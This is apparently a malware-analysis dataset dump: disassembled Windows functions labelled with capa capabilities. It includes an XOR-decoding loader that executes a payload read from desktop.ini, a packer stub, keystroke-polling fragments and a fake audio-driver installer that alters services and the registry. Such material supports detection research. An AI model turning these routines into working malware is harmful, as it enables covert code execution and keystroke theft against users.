joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10001193
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, str.dpmmBmbvusjWfmjGebfSfmjGfubfsDXfuvdfyFmmfiT
push edi
mov eax, esi
call fcn.1000117f
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
xor ebx, ebx
push str.shell32.dll
mov byte [0x10003029], bl
mov byte [0x10003034], bl
mov byte [0x1000303d], bl
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push 0x10003035
push str.kernel32.dll
mov dword [ebp - 4], eax
call esi
push eax
call edi
push 0x1000303e
push str.kernel32.dll
mov dword [ebp - 8], eax
call esi
push eax
call edi
push 1
push ebx
push ebx
push 0x10002058
push ebx
push ebx
mov edi, eax
call dword [ebp - 4]
push ebx
push 0x80
push 3
push ebx
push 1
push 0x80000000
push str.desktop.ini
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [0x10003060], eax
cmp eax, 0xffffffff
je 0x100013f5
push 0x40
mov esi, 0x1000
push esi
push esi
push ebx
call edi
push ebx
push 0x10003064
push esi
push eax
push dword [0x10003060]
mov dword [0x1000305c], eax
call dword [ebp - 8]
mov eax, dword [0x1000305c]
mov cl, byte [eax]
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
movzx ecx, cl
xor ecx, 0x4e
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
xor esi, esi
cmp dword [0x10003064], esi
jbe 0x10001375
mov eax, dword [0x1000305c]
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003064]
jb 0x1000135c
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
call dword [0x1000305c]
pop edi
pop esi
pop ebx
leave
ret 0x10

Function at 0x402677
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
mov eax, 0x401000
call 0x402677
lcall 0x5de5, 0x8b10c483
jmp loc.007c3674
Function at 0x14d0fa28
Capabilities:
Check http status code

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push ebx
push esi
xor ebx, ebx
push ebx
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xc]
push eax
push 0x20000013
push dword [ebp + 8]
mov dword [ebp - 8], 4
mov dword [ebp - 0xc], ebx
call dword [0x14d12300]
test eax, eax
je 0x14d0fb16
cmp dword [ebp - 0xc], 0xc8
jne 0x14d0fb16
push ebx
push 0x80
push 2
push ebx
push ebx
push 0x40000000
push dword [ebp + 0xc]
call dword [0x14d12158]
mov esi, eax
cmp esi, 0xffffffff
je 0x14d0fb16
mov byte [ebp - 1], bl
push ebx
push dword [ebp + 0x10]
call dword [0x14d12150]
test eax, eax
je 0x14d0fabc
lea eax, [ebp - 8]
push eax
push 0x200
lea eax, [ebp - 0x210]
push eax
push dword [ebp + 8]
call dword [0x14d122ec]
test eax, eax
jne 0x14d0fac0
mov byte [ebp - 1], 1
cmp dword [ebp - 8], ebx
je 0x14d0faf0
push ebx
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 8]
lea eax, [ebp - 0x210]
push eax
push esi
call dword [0x14d12190]
test eax, eax
je 0x14d0fae7
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 8]
je 0x14d0faeb
mov byte [ebp - 1], 1
cmp byte [ebp - 1], bl
je 0x14d0fa91
push esi
call dword [0x14d121a0]
push esi
call dword [0x14d12140]
cmp byte [ebp - 1], bl
je 0x14d0fb0c
push dword [ebp + 0xc]
call fcn.14d0eab6
pop ecx
xor eax, eax
cmp byte [ebp - 1], bl
sete al
jmp 0x14d0fb18
xor al, al
pop esi
pop ebx
leave
ret

Function at 0x401ae0
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x401b1f
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x401b1f
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x401b1f
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x401b1f
cmp dword [ecx + 0x74], 0xe
jbe 0x401b1f
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x40915c
nop
mov ecx, 0x6a883103
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43104e
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x431024
nop
mov eax, section..data
nop
mov ebx, 0x42f3f8
nop
nop
mov ecx, 0x4fef0c4e
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x431084
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43106c
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x401d4a
Capabilities:
Log keystrokes via polling

Disassembly:
mov dword [0x418714], 0
mov eax, dword [0x418714]
mov ebx, 0xffffffff
push ebx
call dword [sym.imp.USER32.DLL_GetAsyncKeyState]
mov dword [0x418ebf], eax
mov dword [0x418174], 0
mov eax, dword [0x418174]
lea edx, [edx + 0x418977]
add dword [0x4195a1], edx
sub edx, eax
shr edx, 1
add edx, eax
mov ecx, edx
add ecx, 0x94e
add dword [0x418b51], ecx
ror ecx, 2
shr ecx, 1
sub ecx, eax
add dword [0x418e06], ecx
call fcn.00402f28
mov dword [0x41818c], eax
push 0x2547545c
pop edi
push edi
mov esi, 0x1eeae871
mov eax, esi
push eax
mov eax, 0x535b7a47
mov esi, eax
push esi
mov edi, 0x174cf46c
mov ebp, edi
push ebp
push 0x418ab134
pop ebx
push ebx
push 0x21ff1beb
pop eax
push eax
push 0x67cf697b
pop edx
push edx
mov edx, 0x47777e77
push edx
mov esi, 0
mov edi, esi
push edi
push 0x30a185
pop ebx
add ebx, 0x103f1b
push dword [ebx]
pop dword [0x41855f]
mov ebx, dword [0x41855f]
call ebx
mov dword [0x418f49], eax
or eax, eax
je 0x401e19
sub ebp, edi
ret

Function at 0x401000
Capabilities:
Log keystrokes via polling

Disassembly:
mov ecx, 0x5bfe
mov eax, ecx
mov dword [0x4b4752], eax
mov dword [0x4b4739], 0
mov eax, dword [0x4b4739]
mov dword [0x4b48ef], eax
mov dword [0x4b49c1], 0
mov eax, dword [0x4b49c1]
mov eax, ebx
xor ebx, eax
test dword [0x4b428b], eax
jne 0x401045
mov ebx, 0x19c2
sub eax, ebx
dec eax
shl eax, 1
ror eax, 1
or eax, dword [0x4b43b9]
je 0x401077
sub eax, dword [0x4b47dd]
dec eax
mov ebx, 0x11e8
add eax, ebx
dec eax
or eax, ebx
mov ebx, 0x1dd0
sub eax, ebx
add eax, dword [0x4b4a1d]
xor ebx, eax
sub eax, dword [0x4b46db]
shr eax, 1
add dword [0x4b42db], eax
jmp fcn.00402754
Function at 0x4020a0
Capabilities:
Create thread

Disassembly:
mov ecx, dword [esp + 4]
xor eax, eax
cmp ecx, eax
mov ecx, dword [0x437968]
je 0x4020de
cmp ecx, eax
jne 0x4020f2
lea ecx, [esp + 4]
mov dword [0x437968], 1
push ecx
push eax
push eax
push 0x402050
push eax
push eax
mov dword [esp + 0x1c], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov eax, 1
ret 4
cmp ecx, eax
je 0x4020f2
push 0x2710
mov dword [0x437968], eax
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, 1
ret 4
Function at 0x4022f0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x427938
push eax
mov dword fs:[0], esp
sub esp, 0x20
or ecx, 0xffffffff
xor eax, eax
push esi
mov esi, dword [esp + 0x38]
push edi
mov edi, esi
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x402503
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x402503
test al, 0x10
je 0x402503
push esi
lea ecx, [esp + 0xc]
call fcn.0041c4a9
lea ecx, [esp + 0xc]
mov dword [esp + 0x30], 0
call fcn.00405cae
mov esi, dword [esp + 0x44]
mov byte [esp + 0x30], 1
test esi, esi
jne 0x402393
lea eax, [esp + 8]
push str..
lea ecx, [esp + 0x48]
push eax
push ecx
call fcn.0041c66a
mov eax, dword [eax]
push esi
push eax
lea ecx, [esp + 0x14]
mov byte [esp + 0x38], 2
call fcn.00405d71
mov esi, eax
mov byte [esp + 0x30], 1
lea ecx, [esp + 0x44]
jmp 0x4023cf
push 0x433250
lea ecx, [esp + 0xc]
call fcn.0041c73d
lea edx, [esp + 8]
push esi
lea eax, [esp + 0x48]
push edx
push eax
call fcn.0041c66a
mov eax, dword [eax]
push 0
push eax
lea ecx, [esp + 0x14]
mov byte [esp + 0x38], 3
call fcn.00405d71
mov esi, eax
mov byte [esp + 0x30], 1
lea ecx, [esp + 0x44]
call fcn.0041c43b
push ebx
push 0x43796c
lea ecx, [esp + 0x44]
call fcn.0041c4a9
mov bl, 4
test esi, esi
mov byte [esp + 0x34], bl
je 0x4024b6
mov esi, dword [esp + 0x3c]
push ebp
mov ebp, dword [esp + 0x50]
lea ecx, [esp + 0x14]
call fcn.00405f91
lea ecx, [esp + 0x14]
mov edi, eax
call fcn.00405f58
test eax, eax
jne 0x4024ad
lea ecx, [esp + 0x4c]
push ecx
lea ecx, [esp + 0x18]
call fcn.00406060
push eax
lea ecx, [esp + 0x48]
mov byte [esp + 0x3c], 5
call fcn.0041c574
lea ecx, [esp + 0x4c]
mov byte [esp + 0x38], bl
call fcn.0041c43b
mov edx, dword [esp + 0x14]
push 0x10
lea ecx, [esp + 0x18]
call dword [edx + 0x38]
test eax, eax
je 0x40246f
mov eax, dword [esp + 0x48]
test eax, eax
je 0x4024ad
mov eax, dword [esp + 0x44]
push 1
push 0
push 1
push eax
push esi
call fcn.004022f0
add esp, 0x14
jmp 0x4024ad
test ebp, ebp
jne 0x40249d
lea ecx, [esp + 0x50]
push ecx
lea ecx, [esp + 0x18]
call fcn.00406189
push eax
lea ecx, [esp + 0x48]
mov byte [esp + 0x3c], 6
call fcn.0041c574
lea ecx, [esp + 0x50]
mov byte [esp + 0x38], bl
call fcn.0041c43b
mov eax, dword [esi + 8]
lea edx, [esp + 0x44]
push edx
push eax
mov ecx, esi
call fcn.0041bc4c
test edi, edi
jne 0x4023fa
pop ebp
lea ecx, [esp + 0x10]
call fcn.00405d27
lea ecx, [esp + 0x40]
mov byte [esp + 0x34], 1
call fcn.0041c43b
lea ecx, [esp + 0x10]
mov byte [esp + 0x34], 0
call fcn.00405ceb
lea ecx, [esp + 0xc]
mov dword [esp + 0x34], 0xffffffff
call fcn.0041c43b
pop ebx
pop edi
mov eax, 1
pop esi
mov ecx, dword [esp + 0x20]
mov dword fs:[0], ecx
add esp, 0x2c
ret
mov ecx, dword [esp + 0x28]
pop edi
xor eax, eax
pop esi
mov dword fs:[0], ecx
add esp, 0x2c
ret

Function at 0x402520
Capabilities:
Copy file

Disassembly:
push esi
mov esi, dword [esp + 0xc]
push esi
call fcn.00402810
mov eax, dword [esp + 0xc]
add esp, 4
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
pop esi
ret
Function at 0x402810
Capabilities:
Delete file
Get file attributes
Set file attributes

Disassembly:
push esi
mov esi, dword [esp + 8]
test esi, esi
je 0x40284a
push edi
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
pop edi
je 0x40284a
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push 0x80
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, 1
pop esi
ret
xor eax, eax
pop esi
ret
Function at 0x4040f0
Capabilities:
Query or enumerate registry value

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4279f1
push eax
mov dword fs:[0], esp
sub esp, 0x318
push ebx
mov ebx, ecx
call fcn.00405bc0
cmp eax, 5
jb 0x404307
cmp eax, 6
ja 0x404307
mov eax, dword [ebx + 0xc0]
test eax, eax
jne 0x40414c
push 4
push str.C_Media
push str.Do_you_want_to_install_C_Media_High_Definition_Audio_Driver__
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
cmp eax, 6
jne 0x404325
mov al, byte [0x43796c]
push esi
push edi
mov byte [esp + 0x11c], al
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x11d]
mov dword [esp + 0x10], 0
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x10]
push ecx
push 0xf003f
stosw word es:[edi], ax
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionSetup
push reloc.OLEAUT32.dll_SysReAllocString
stosb byte es:[edi], al
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4041fa
mov dword [esp + 0xc], eax
lea edx, [esp + 0x14]
lea eax, [esp + 0x11c]
push edx
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x10]
push eax
push ecx
push 0
push str.SourcePath
push edx
mov dword [esp + 0x2c], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4041ef
lea edi, [esp + 0x11c]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x18]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dl, byte [0x43796c]
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x221]
mov byte [esp + 0x220], dl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0xc]
push eax
call fcn.00405b00
mov ecx, dword [eax]
add esp, 4
lea edx, [esp + 0x220]
push ecx
push str._sAuxSource
push edx
call fcn.0040dd65
add esp, 0xc
lea ecx, [esp + 0xc]
call fcn.0041c43b
mov eax, dword [ebx + 0xc0]
test eax, eax
je 0x404286
call fcn.0042489c
mov eax, dword [eax + 8]
push str.C_Media_High_Definition_Audio_Driver_Installation
push eax
mov ecx, ebx
call fcn.00404810
mov esi, 1
pop edi
mov eax, esi
pop esi
pop ebx
mov ecx, dword [esp + 0x318]
mov dword fs:[0], ecx
add esp, 0x324
ret
push 0
lea ecx, [esp + 0x1c]
call fcn.00405120
lea ecx, [esp + 0x18]
mov dword [esp + 0x32c], 0
mov dword [esp + 0x74], 0
call fcn.0041d95c
mov esi, dword [esp + 0x74]
lea ecx, [esp + 0xb4]
mov dword [esp + 0x32c], 2
call fcn.0041c43b
lea ecx, [esp + 0x78]
mov byte [esp + 0x32c], 1
call fcn.0041b886
lea ecx, [esp + 0x18]
mov dword [esp + 0x32c], 0xffffffff
call fcn.0041d63a
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x318]
mov dword fs:[0], ecx
add esp, 0x324
ret
mov eax, dword [ebx + 0xc0]
test eax, eax
jne 0x404325
push 0
push str.High_Definition_Audio_Driver_Installing
push str.Only_support_WinOS_2K_XP..
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, dword [esp + 0x31c]
xor eax, eax
pop ebx
mov dword fs:[0], ecx
add esp, 0x324
ret
Function at 0x404900
Capabilities:
Create process on windows
Create process suspended

Disassembly:
mov edx, dword [esp + 4]
sub esp, 0x158
test edx, edx
push esi
push edi
je 0x4049da
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x4049da
mov al, byte [0x43796c]
mov ecx, 0x40
mov byte [esp + 0x5c], al
xor eax, eax
lea edi, [esp + 0x5d]
push ebx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
lea ebx, [esp + 0x60]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x1c]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x11
lea edi, [esp + 0x1c]
rep stosd dword es:[edi], eax
mov dword [esp + 0xc], eax
lea ecx, [esp + 0xc]
mov dword [esp + 0x10], eax
push ecx
mov dword [esp + 0x18], eax
push edx
push eax
push eax
push eax
push eax
push eax
mov dword [esp + 0x34], eax
push eax
lea eax, [esp + 0x80]
push eax
push 0
mov dword [esp + 0x44], 0x44
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
pop ebx
je 0x4049da
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, dword [esp + 8]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edx
call esi
mov eax, dword [esp + 0xc]
push eax
call esi
pop edi
mov eax, 1
pop esi
add esp, 0x158
ret
pop edi
xor eax, eax
pop esi
add esp, 0x158
ret

Function at 0x404a70
Capabilities:
Check os version

Disassembly:
sub esp, 0x94
push edi
mov ecx, 0x25
xor eax, eax
lea edi, [esp + 4]
rep stosd dword es:[edi], eax
lea eax, [esp + 4]
mov dword [esp + 4], 0x94
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov ecx, dword [esp + 0x14]
mov eax, 2
cmp ecx, eax
pop edi
jne 0x404abe
cmp dword [esp + 4], 5
jne 0x404abe
cmp dword [esp + 8], eax
jne 0x404abe
mov eax, 1
add esp, 0x94
ret
xor eax, eax
add esp, 0x94
ret

Function at 0x404ad0
Capabilities:
Check os version

Disassembly:
sub esp, 0x94
push edi
mov ecx, 0x25
xor eax, eax
lea edi, [esp + 4]
rep stosd dword es:[edi], eax
lea eax, [esp + 4]
mov dword [esp + 4], 0x94
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov eax, dword [esp + 0x14]
pop edi
cmp eax, 2
jne 0x404b2e
cmp dword [esp + 4], 5
jne 0x404b2e
cmp dword [esp + 8], 1
jne 0x404b2e
lea ecx, [esp + 0x14]
push str.Service_Pack_1
push ecx
call fcn.0040e530
add esp, 8
neg eax
sbb eax, eax
neg eax
add esp, 0x94
ret
xor eax, eax
add esp, 0x94
ret

Function at 0x404b40
Capabilities:
Check os version

Disassembly:
sub esp, 0x94
push edi
mov ecx, 0x25
xor eax, eax
lea edi, [esp + 4]
rep stosd dword es:[edi], eax
lea eax, [esp + 4]
mov dword [esp + 4], 0x94
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov eax, dword [esp + 0x14]
pop edi
cmp eax, 2
jne 0x404b9d
cmp dword [esp + 4], 5
jne 0x404b9d
cmp dword [esp + 8], 1
jne 0x404b9d
lea ecx, [esp + 0x14]
push str.Service_Pack_2
push ecx
call fcn.0040e530
add esp, 8
mov eax, 1
add esp, 0x94
ret
xor eax, eax
add esp, 0x94
ret
Function at 0x404bb0
Capabilities:
Check os version

Disassembly:
sub esp, 0x94
push edi
mov ecx, 0x25
xor eax, eax
lea edi, [esp + 4]
rep stosd dword es:[edi], eax
lea eax, [esp + 4]
mov dword [esp + 4], 0x94
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov eax, dword [esp + 0x14]
pop edi
cmp eax, 2
jne 0x404c0e
cmp dword [esp + 4], 5
jne 0x404c0e
mov eax, dword [esp + 8]
test eax, eax
jne 0x404c0e
lea ecx, [esp + 0x14]
push str.Service_Pack_4
push ecx
call fcn.0040e530
add esp, 8
mov eax, 1
add esp, 0x94
ret
xor eax, eax
add esp, 0x94
ret

Function at 0x404c20
Capabilities:
Modify service
Query service configuration

Disassembly:
sub esp, 0x404
push ebx
call fcn.00404a70
test eax, eax
je 0x404cd2
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov ebx, eax
test ebx, ebx
je 0x404cd2
push ebp
push esi
push 0xc0000000
push str.AudioSrv
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov ebp, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov esi, eax
test esi, esi
je 0x404ccd
mov al, byte [0x43796c]
push edi
mov byte [esp + 0x14], al
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x15]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x10]
lea edx, [esp + 0x14]
stosw word es:[edi], ax
push ecx
push 0x400
push edx
push esi
stosb byte es:[edi], al
mov dword [esp + 0x20], 0x400
call dword [sym.imp.ADVAPI32.dll_QueryServiceConfigA]
test eax, eax
pop edi
je 0x404cca
mov eax, dword [esp + 0x30]
push eax
push 0x43796c
push 0
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push 2
push 0xffffffffffffffff
push esi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigA]
push esi
call ebp
push ebx
call ebp
pop esi
pop ebp
pop ebx
add esp, 0x404
ret
Function at 0x404ce0
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
sub esp, 0x430
mov dl, byte [0x43796c]
push ebx
push ebp
push esi
push edi
mov ecx, 7
xor eax, eax
lea edi, [esp + 0x1d]
mov byte [esp + 0x1c], dl
mov byte [esp + 0x3c], dl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x3d]
xor ebp, ebp
rep stosd dword es:[edi], eax
lea eax, [esp + 0x10]
push eax
push 0xf003f
push ebp
push str.SoftwareMicrosoftMultimediaAudio
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x404ea8
lea ecx, [esp + 0x18]
lea edx, [esp + 0x3c]
push ecx
mov ecx, dword [esp + 0x14]
lea eax, [esp + 0x18]
push edx
push eax
push ebp
push str.SystemFormats
push ecx
mov dword [esp + 0x2c], 1
mov dword [esp + 0x30], 0x400
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x404dd7
lea edi, [esp + 0x3c]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
xor edi, edi
mov ebx, ecx
lea esi, [esp + 0x3c]
test ebx, ebx
jle 0x404dd7
cmp byte [esp + edi + 0x3c], 0x2c
jne 0x404da8
push 0x433790
push esi
mov byte [esp + edi + 0x44], 0
call fcn.0040e530
add esp, 8
test eax, eax
jne 0x404daf
lea esi, [esp + edi + 0x3d]
inc edi
cmp edi, ebx
jl 0x404d86
jmp 0x404dd7
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x1c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov ebp, 1
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x10]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push ecx
call ebx
test ebp, ebp
je 0x404ea8
lea edi, [esp + 0x1c]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x3c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov ebp, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x10]
push ecx
push 0xf003f
push 0
push str.SoftwareMicrosoftMultimediaAudio
push SysReAllocString
call ebp
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x404e63
lea edi, [esp + 0x3c]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x3c]
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push edx
push 1
push eax
mov eax, dword [esp + 0x20]
push str.DefaultFormat
push eax
call esi
mov ecx, dword [esp + 0x10]
push ecx
call ebx
lea edx, [esp + 0x10]
push edx
push 0xf003f
push 0
push str..DefaultSoftwareMicrosoftMultimediaAudio
push SysStringLen
call ebp
test eax, eax
jne 0x404ea8
lea edi, [esp + 0x3c]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [esp + 0x3c]
push ecx
mov ecx, dword [esp + 0x14]
push eax
push 1
push 0
push str.DefaultFormat
push ecx
call esi
mov edx, dword [esp + 0x10]
push edx
call ebx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x430
ret